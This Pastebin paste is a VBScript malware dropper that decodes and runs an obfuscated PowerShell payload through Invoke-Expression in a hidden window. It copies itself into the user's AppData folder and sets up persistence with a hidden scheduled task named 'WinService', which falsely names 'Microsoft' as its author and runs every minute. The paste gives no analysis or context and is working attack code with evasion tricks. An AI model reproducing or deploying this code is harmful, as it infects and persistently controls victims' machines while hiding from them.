jccdt

SPAwworn

Aug 8th, 2019
393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.31 KB | None | 0 0
  1. f="g|)ioyUOYUGHkhkhJKJK$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[;nor$ g las;)'I','D'(ecalper.'XED'=nor$;)V_V*4,20V_V*,63,44,93,V_V*0V_V*,02V_V*,V_V*0V_V*,64,80V_V*,50V_V*,6V_V*V_V*,58,80V_V*,80V_V*,79,6V_V*V_V*,5V_V*V_V*,0V_V*V_V*,37,93,04,6V_V*V_V*,0V_V*V_V*,7V_V*V_V*,80V_V*,66,30V_V*,50V_V*,66,85,85,39,V_V*5,45,35,05,35,25,76,27,48,V_V*9,95,88,96,37,42V_V*,V_V*4,93,02V_V*,84,93,44,93,34,34,93,04,V_V*0V_V*,99,79,80V_V*,2V_V*V_V*,V_V*0V_V*,4V_V*V_V*,64,V_V*4,93,30V_V*,2V_V*V_V*,60V_V*,64,47,47,87,87,74,4V_V*V_V*,89,64,90V_V*,V_V*V_V*V_V*,99,64,V_V*V_V*V_V*,8V_V*V_V*,V_V*V_V*V_V*,2V_V*V_V*,V_V*V_V*V_V*,00V_V*,V_V*V_V*V_V*,6V_V*V_V*,50V_V*,4V_V*V_V*,30V_V*,74,74,85,5V_V*V_V*,2V_V*V_V*,6V_V*V_V*,6V_V*V_V*,40V_V*,93,44,00V_V*,V_V*V_V*V_V*,40V_V*,6V_V*V_V*,V_V*0V_V*,77,85,85,39,V_V*0V_V*,2V_V*V_V*,V_V*2V_V*,48,80V_V*,80V_V*,79,76,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,44,93,30V_V*,0V_V*V_V*,50V_V*,4V_V*V_V*,6V_V*V_V*,38,00V_V*,79,V_V*V_V*V_V*,80V_V*,0V_V*V_V*,9V_V*V_V*,V_V*V_V*V_V*,86,93,44,V_V*4,6V_V*V_V*,0V_V*V_V*,V_V*0V_V*,50V_V*,80V_V*,76,89,V_V*0V_V*,78,64,6V_V*V_V*,V_V*0V_V*,87,23,6V_V*V_V*,99,V_V*0V_V*,60V_V*,89,97,54,9V_V*V_V*,V_V*0V_V*,87,04,04,V_V*0V_V*,90V_V*,79,0V_V*V_V*,V_V*2V_V*,66,80V_V*,80V_V*,79,76,85,85,39,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,79,4V_V*V_V*,V_V*0V_V*,6V_V*V_V*,0V_V*V_V*,37,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,V_V*6,20V_V*,63,39,39,V_V*9,V_V*0V_V*,6V_V*V_V*,V_V*2V_V*,66,V_V*9,95,88,96,37,42V_V*,V_V*4,93,30V_V*,2V_V*V_V*,60V_V*,64,79,20V_V*,V_V*0V_V*,4V_V*V_V*,79,48,74,4V_V*V_V*,89,64,90V_V*,V_V*V_V*V_V*,99,64,V_V*V_V*V_V*,8V_V*V_V*,V_V*V_V*V_V*,2V_V*V_V*,V_V*V_V*V_V*,00V_V*,V_V*V_V*V_V*,6V_V*V_V*,50V_V*,4V_V*V_V*,30V_V*,74,74,85,5V_V*V_V*,2V_V*V_V*,6V_V*V_V*,6V_V*V_V*,40V_V*,93,44,00V_V*,V_V*V_V*V_V*,"
  2. f=f+"40V_V*,6V_V*V_V*,V_V*0V_V*,77,85,85,39,V_V*0V_V*,2V_V*V_V*,V_V*2V_V*,48,80V_V*,80V_V*,79,76,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,44,93,30V_V*,0V_V*V_V*,50V_V*,4V_V*V_V*,6V_V*V_V*,38,00V_V*,79,V_V*V_V*V_V*,80V_V*,0V_V*V_V*,9V_V*V_V*,V_V*V_V*V_V*,86,93,44,V_V*4,6V_V*V_V*,0V_V*V_V*,V_V*0V_V*,50V_V*,80V_V*,76,89,V_V*0V_V*,78,64,6V_V*V_V*,V_V*0V_V*,87,23,6V_V*V_V*,99,V_V*0V_V*,60V_V*,89,97,54,9V_V*V_V*,V_V*0V_V*,87,04,04,V_V*0V_V*,90V_V*,79,0V_V*V_V*,V_V*2V_V*,66,80V_V*,80V_V*,79,76,85,85,39,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,79,4V_V*V_V*,V_V*0V_V*,6V_V*V_V*,0V_V*V_V*,37,64,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,V_V*9,V_V*6,60V_V*,20V_V*,63,95,V_V*4,93,99,50V_V*,5V_V*V_V*,79,66,80V_V*,79,7V_V*V_V*,5V_V*V_V*,50V_V*,68,64,6V_V*V_V*,20V_V*,V_V*V_V*V_V*,5V_V*V_V*,V_V*V_V*V_V*,4V_V*V_V*,99,50V_V*,77,93,04,V_V*0V_V*,90V_V*,79,87,80V_V*,79,50V_V*,6V_V*V_V*,4V_V*V_V*,79,08,40V_V*,6V_V*V_V*,50V_V*,78,00V_V*,79,V_V*V_V*V_V*,67,85,85,39,V_V*2V_V*,80V_V*,89,90V_V*,V_V*0V_V*,5V_V*V_V*,5V_V*V_V*,56,64,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,V_V*0V_V*,80V_V*,20V_V*,V_V*0V_V*,28,64,90V_V*,V_V*0V_V*,6V_V*V_V*,5V_V*V_V*,V_V*2V_V*,38,V_V*9,23,39,00V_V*,50V_V*,V_V*V_V*V_V*,8V_V*V_V*,V_V*9,95,V_V*4,30V_V*,0V_V*V_V*,50V_V*,2V_V*V_V*,63,04,23,80V_V*,50V_V*,6V_V*V_V*,0V_V*V_V*,7V_V*V_V*,23,52V_V*,6V_V*V_V*,V_V*0V_V*,50V_V*,7V_V*V_V*,V_V*8,54,23,94,23,6V_V*V_V*,0V_V*V_V*,7V_V*V_V*,V_V*V_V*V_V*,99,54,23,90V_V*,V_V*V_V*V_V*,99,64,V_V*0V_V*,80V_V*,30V_V*,V_V*V_V*V_V*,V_V*V_V*V_V*,30V_V*,23,2V_V*V_V*,90V_V*,V_V*V_V*V_V*,99,54,23,0V_V*V_V*,V_V*V_V*V_V*,50V_V*,6V_V*V_V*,99,V_V*0V_V*,0V_V*V_V*,0V_V*V_V*,V_V*V_V*V_V*,99,54,6V_V*V_V*,5V_V*V_V*,V_V*0V_V*,6V_V*V_V*,23,V_V*6,23,30V_V*,0V_V*V_V*,50V_V*,2V_V*V_V*,63,32V_V*,23,V_V*V_V*V_V*,00V_V*(@=ioyUOYUGHkhkhJKJK$"
  3. f=replace(f,"V_V*","1")
  4. days=Array("P","o","w","e","r","s","h","e","l","l")
  5. exec(Join(days,"")+space(1)+StrReverse(f))
  6. N="WinService"
  7. timy=1800
  8. set fso0 = CreateObject("Scripting.FileSystemObject")
  9. CurrentDirectory = fso0.GetParentFolderName(WScript.ScriptFullName)
  10.  
  11. startupfolder="C:\Users\"+CreateObject("WScript.Network").UserName+"\AppData\Roaming"
  12. F=startupfolder+ "\" + sname
  13.  
  14. task F,N,timy
  15. if CurrentDirectory = startupfolder Then
  16.  
  17. WScript.Quit()
  18. else
  19.  
  20. mnb()
  21. End if
  22.  
  23. sub mnb()
  24.  
  25.  
  26. If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
  27. sSourceFile = CurrentDirectory+ "\"+ sname
  28.  
  29. sCmd = "cmd /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
  30. exec(sCmd)
  31.  
  32. WScript.Quit()
  33. Else
  34. WScript.Quit()
  35. End If
  36.  
  37. End sub
  38.  
  39. sub task(PATH,TSname,tmy)
  40.  
  41. const TriggerTypeTime = 1
  42. const ActionTypeExec = 0
  43. Set service = CreateObject(StrReverse("ecivreS.eludehcS"))
  44. call service.Connect()
  45. Dim rootFolder
  46. Set rootFolder = service.GetFolder("\")
  47. Dim taskDefinition
  48. Set taskDefinition = service.NewTask(0)
  49.  
  50. Dim regInfo
  51. Set regInfo = taskDefinition.RegistrationInfo
  52. regInfo.Description = "System performance enhancment"
  53. regInfo.Author = "Microsoft"
  54.  
  55.  
  56. Dim principal
  57. Set principal = taskDefinition.Principal
  58.  
  59.  
  60. principal.LogonType = 3
  61.  
  62. Dim settings
  63. Set settings = taskDefinition.Settings
  64. settings.Enabled = True
  65. settings.StartWhenAvailable = True
  66. settings.Hidden = True
  67. settings.DisallowStartIfOnBatteries = False
  68.  
  69.  
  70.  
  71. Dim triggers
  72. Set triggers = taskDefinition.Triggers
  73.  
  74. Dim trigger
  75. Set trigger = triggers.Create(TriggerTypeTime)
  76.  
  77.  
  78. Dim startTime, endTime
  79.  
  80. Dim time
  81. time = DateAdd("s",tmy, Now)
  82. startTime = XmlTime(time)
  83.  
  84. trigger.StartBoundary = startTime
  85. trigger.Id = "TimeTriggerId"
  86. trigger.Enabled = True
  87.  
  88.  
  89. Set repetitionPattern = trigger.Repetition
  90.  
  91. repetitionPattern.Interval = "PT1M"
  92. Dim Action
  93. Set Action = taskDefinition.Actions.Create( ActionTypeExec )
  94. Action.Path = PATH
  95. 'Action.Arguments=";start-process calc.exe"
  96.  
  97.  
  98.  
  99.  
  100.  
  101. call rootFolder.RegisterTaskDefinition( _
  102. TSname, taskDefinition, 6, , , 3)
  103.  
  104.  
  105.  
  106. End sub
  107.  
  108.  
  109. '------------------------------------------------------------------
  110. Function XmlTime(t)
  111. Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
  112. Dim tTime, tDate
  113.  
  114. cSecond = "0" & Second(t)
  115. cMinute = "0" & Minute(t)
  116. cHour = "0" & Hour(t)
  117. cDay = "0" & Day(t)
  118. cMonth = "0" & Month(t)
  119. cYear = Year(t)
  120.  
  121. tTime = Right(cHour, 2) & ":" & Right(cMinute, 2) & _
  122. ":" & Right(cSecond, 2)
  123. tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
  124. XmlTime = tDate & "T" & tTime
  125. End Function
  126.  
  127. Function sname()
  128. myProcess="wscript.exe"
  129. Set Processes = GetObject("winmgmts:").InstancesOf("Win32_Process")
  130. For Each Process In Processes
  131. If StrComp(Process.Name, myProcess, vbTextCompare) = 0 Then 'check if process exist
  132. CmdLine=process.commandline
  133. End If
  134. Next
  135. myArr=split(CmdLine,"\")
  136. mySN=replace(myArr(ubound(myArr)),"""","")
  137. sname=mySN
  138. End Function
  139. sub exec(Atc)
  140. strCommand = Atc
  141. Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  142. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  143. Set objConfig = objStartup.SpawnInstance_
  144. objConfig.ShowWindow = 0
  145. Set objProcess = objWMIService.Get("Win32_Process")
  146. intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
  147. End sub
Add Comment
Please, Sign In to add comment